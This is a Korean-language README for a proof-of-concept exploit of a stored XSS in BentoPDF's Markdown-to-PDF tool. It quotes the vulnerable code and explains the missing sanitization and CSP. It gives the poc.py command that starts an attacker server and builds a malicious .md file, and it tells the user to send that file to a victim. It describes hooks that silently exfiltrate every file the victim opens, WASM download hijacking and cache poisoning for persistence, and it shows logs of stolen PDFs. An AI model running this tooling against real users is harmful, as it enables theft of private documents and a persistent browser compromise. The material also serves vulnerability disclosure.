
CVE-2026-41653에 대한 개념 증명 익스플로잇으로, BentoPDF의 저장형 XSS 취약점을 이용해 무단 파일 유출과 WASM 공급망 하이재킹을 가능하게 합니다.
발견 및 보고자: Astaruf
전체 분석 문서: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
상위 권고: alam00000/bentopdf GHSA 권고
NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF는 자체 호스팅 방식의 브라우저 기반 PDF 도구 모음입니다(압축, 병합, 분할, 회전, 변환, Markdown-to-PDF 등).
Markdown-to-PDF 도구는 사용자가 제공한 Markdown을 html: true 옵션으로 markdown-it에 전달하고, 렌더링된 출력을 소독(sanitization) 없이 innerHTML을 통해 DOM에 직접 주입합니다. 공격자가 조작된 .md 파일을 전달하면 BentoPDF 오리진에서 임의의 JavaScript를 실행할 수 있습니다.
BentoPDF는 완전한 클라이언트 사이드 애플리케이션이므로 모든 도구(Compress PDF, Merge PDF, Split PDF 등)가 피해자의 브라우저에서 직접 파일을 로드하고 처리합니다. 따라서 단 한 번의 XSS만으로도 세션 중 피해자가 어떤 도구에서든 열어본 모든 문서를 조용히 유출할 수 있습니다.
공격자가 report.md 전송 ( 포함)
-> 피해자가 Markdown-to-PDF에서 열람
-> markdown-it이 원시 HTML 렌더링 (html: true)
-> preview.innerHTML = html (DOMPurify 없음)
-> 공격자 서버에서 poc_payload.js 로드 (CSP 없음)
-> FileReader + <input type=file> 후크 전역 설치
-> 숨겨진 팝업이 모든 도구 이동 시 후크 재주입
-> 피해자가 여는 모든 파일이 조용히 유출됨
localStorage['bentopdf:wasm-providers']를 덮어써서 PyMuPDF, Ghostscript, cpdf WASM 모듈 다운로드를 공격자가 제어하는 호스트로 리다이렉트합니다.window.opener를 폴링하여 피해자가 다른 도구로 이동할 때마다 파일 후크를 재주입하여 전체 세션 동안 접근 권한을 유지합니다.bentopdf-* 캐시를 오염시켜 현재 세션 이후에도 브라우저에 제공되는 모든 /assets/*.js 파일에 유출 후크를 추가합니다.markdown-it의 원시 HTML 통과 (CWE-79)src/js/utils/markdown-editor.ts (271–272행):
private mdOptions: MarkdownItOptions = {
html: true, // 원시 HTML 태그가 마크다운 파서를 통과함
breaks: false,
linkify: true,
typographer: true,
};
``, <svg>, <details> 같은 태그와 모든 이벤트 핸들러 속성(onerror, onload, ontoggle)이 그대로 DOM에 전달됩니다.
innerHTML 주입 (CWE-116)src/js/utils/markdown-editor.ts (689–694행):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // 공격자가 제어하는 HTML이 DOM에 주입됨
this.renderMermaidDiagrams();
}
markdown-it과 innerHTML 사이에 소독 라이브러리가 적용되지 않습니다. 브라우저는 주입된 문자열을 파싱하고 인라인 이벤트 핸들러를 만나 즉시 실행합니다.
nginx.conf에는 Content-Security-Policy 헤더가 포함되어 있지 않습니다. 주입된 JavaScript는 외부 스크립트를 자유롭게 로드하고, 모든 호스트에 fetch() 요청을 보내며, 팝업 창을 열 수 있습니다. 제한적인 CSP가 있었다면 싱크(sink)가 그대로 있더라도 외부 스크립트 로드 단계를 차단할 수 있었습니다.
# 유출을 위한 공격자 서버 시작
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py는 다음을 수행합니다:
# - 현재 디렉토리에 poc_report.md 페이로드 생성
# - 피해자의 콜백 및 유출 파일 수신 대기
poc_report.md를 피해자에게 보내고 BentoPDF → Markdown-to-PDF에서 열도록 요청하세요. 페이로드는 미리보기가 렌더링되는 순간 실행되며, 피해자가 이후 업로드하는 모든 파일이 공격자의 서버로 유출됩니다.
| 옵션 | 기본값 | 설명 |
|---|---|---|
--lhost | 필수 | 피해자 브라우저에서 접근 가능한 IP |
--lport | 9999 | 수신 포트 |
--loot-dir | ./loot/ | 유출된 파일이 저장되는 디렉토리 |
--log-file | 없음 | 모든 이벤트를 파일에 기록 (ANSI 코드 제거됨) |
--no-color | 꺼짐 | 터미널 출력에서 ANSI 색상 비활성화 |
1. --lhost와 --lport로 공격자 서버 시작. 악성 poc_report.md가 자동 생성됩니다.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF 저장형 XSS -> 파일 유출
PoC by Astaruf (https://nstsec.com)
========================================================================
유출 서버: http://127.0.0.1:9999
페이로드: http://127.0.0.1:9999/poc_payload.js
Loot 디렉토리: /home/kali/loot
========================================================================
악성 .md 파일 준비 완료: /home/kali/poc_report.md
피해자에게 보내고 Markdown-to-PDF 도구에서 열도록 요청하세요.
페이로드는 미리보기가 렌더링되는 즉시 실행됩니다.
========================================================================
피해자 대기 중...
2. 피해자가 BentoPDF에서 Markdown-to-PDF 도구를 엽니다.

3. 피해자가 poc_report.md를 로드합니다. 미리보기가 렌더링되고 ``가 로드에 실패하여 onerror가 실행됩니다. poc_payload.js가 CSP 차단 없이 공격자 서버에서 가져와집니다.

4. 페이로드가 4단계를 실행합니다: localStorage를 통한 WASM 공급자 하이재킹, 팝업 모니터 생성, 현재 페이지에 FileReader 및 파일 입력 후크 설치.

5. 피해자가 Compress PDF로 이동합니다. 팝업이 이동을 감지하고 새 페이지에 후크를 재주입합니다.

6. 피해자가 PDF를 로드합니다. 도구는 정상적으로 압축을 수행합니다. 파일 바이트는 이미 공격자 서버로 POST 전송되었습니다.

7. 검증된 실행에서의 공격자 서버 출력:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. 유출된 파일은 원본과 동일한 완전하고 유효한 PDF로 열립니다.

poc.py에 포함된 페이로드는 순서대로 4단계를 실행합니다: